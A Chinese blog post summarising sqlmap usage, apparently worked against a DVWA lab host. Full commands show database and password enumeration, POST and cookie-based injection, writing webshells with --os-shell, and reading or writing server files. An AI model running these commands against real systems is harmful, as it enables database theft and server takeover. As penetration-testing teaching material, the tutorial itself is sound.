欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Sqlmap 使用方法小结

程序员文章站 2022-05-15 11:57:55
...

平常的使用GET方法像–tables –columns -T -D –dbs –dump 啥的就不说了,只是博客几天不发,空着不好,还是得写写东西

--is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs 所有数据库
--current-db 网站当前数据库
--users 所有数据库用户
--current-user 当前数据库用户
--random-agent 构造随机user-agent
--passwords 数据库密码
--proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
--time-sec=TIMESEC DBMS响应的延迟时间(默认为5--threads=                       使用多少线程

--is-dba 这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马

利用sqlmap进行POST注入

先利用bp去抓一个包,直接发送包里面的内容保存到一个文件里面,然后用-r参数去实现它就好
例如
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数,-dbms指定了某种数据库,这句话指定的是mysql数据库,-p指定的是参数,不指定的话每一个参数他都会尝试
注意这句话已经不像平常那样需要-u参数了,直接-r参数即可,因为报文里面已经含有了含有应有的各种条件

利用sqlmap进行需要登陆的注入

可以跟上面进行post注入的一样,直接-r参数带上你的抓包文件路径,既然是需要登录的注入,那么报文里面肯定是要有cookie
我们还可以利用–cookie参数注入,例如:

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1& Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --current-db  

这里面的cookie参数可以抓包获得

利用sqlmap进行交互式写shell

这个要利用sqlmap写shell的话前提需要获取网站的绝对路径,而且必须叙是root权限

使用burpsuite进行抓包,获取cookie。判断用户是否为dba,输入命令:

      sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --is-dba

Sqlmap 使用方法小结

输入命令:

    sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --os-shell

脚本类型为PHP,所以输入4
Sqlmap 使用方法小结

输入第二步得到的路径,这样就可以在里面写相关命令了
Sqlmap 使用方法小结

Sqlmap 使用方法小结
这时候会在绝对路径下写入2个shell,一个用来执行命令的,另一个是用来上传的,其中上传的文件名为tmpujhum.php,这个上传的文件可以去上传小马然后连接即可,这里我们注意一下,为什么会出现admin admin这样的文字,这是sqlmap用来确认是否成功写进shell的标志,后面也会提一下。他这个写进admin的方式有可能会导致利用sqlmap写文件的时候小马文件会出现乱码。猜测是写文件的方式导致了文件的乱码,我们都知道写文件的方式要么就是ASCII要么是二进制文件流方式去实现。

利用sqlmap辅助手工注入

其实这个就是介绍了在发现注入点之后,怎么在sqlmap里面执行SQL语句,继续用上面的例子,改一下就是这样子的,但前提我们也是要发现数据点

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "select user(),version(),database()" 

Sqlmap 使用方法小结
这样就是相当于运行对应的SQL语句了。但是其实这样执行的话每一次都会对网站注入一遍,效率就比较低.
可以换一个方式,把--sql-query改为--sql-shell,这样一来就相当于平常我们执行SQL语句的那个cmd命令界面一样。写一条语句就直接执行一条,省去了注入的过程。

利用sqlmap进行文件读写

这里可以写文件的话前提必须有
判断是否为dba/root用户,爆出了网站的绝对路径,有一个可写目录,也是用上面的案例

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-read=/opt/lampp/htdocs/php.ini

成功读取了php.ini文件,并返回了路径。

Sqlmap 使用方法小结
打开如下图所示:
这里的文件我们可以去sqlmap的output里面查看,也就是对应的用户文件夹里面

在服务器端写入文件
输入:

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --file-write C:\1.txt --file-dest /opt/lampp/htdocs/vulnerabilities/exec/1.txt

这里的意思就是将本地C:\1.txt 写入到服务器端/opt/lampp/htdocs/vulnerabilities/exec/1.txt

打开对应文件的网站路径如下图:
Sqlmap 使用方法小结

这里又出现了admin admin了,就是sqlmap用来确认是否写成功的标志,因为在写文件的过程中他会问是否验证,它就会以这个标志来判断啦。

Sqlmap 使用方法小结

相关标签: SQL注入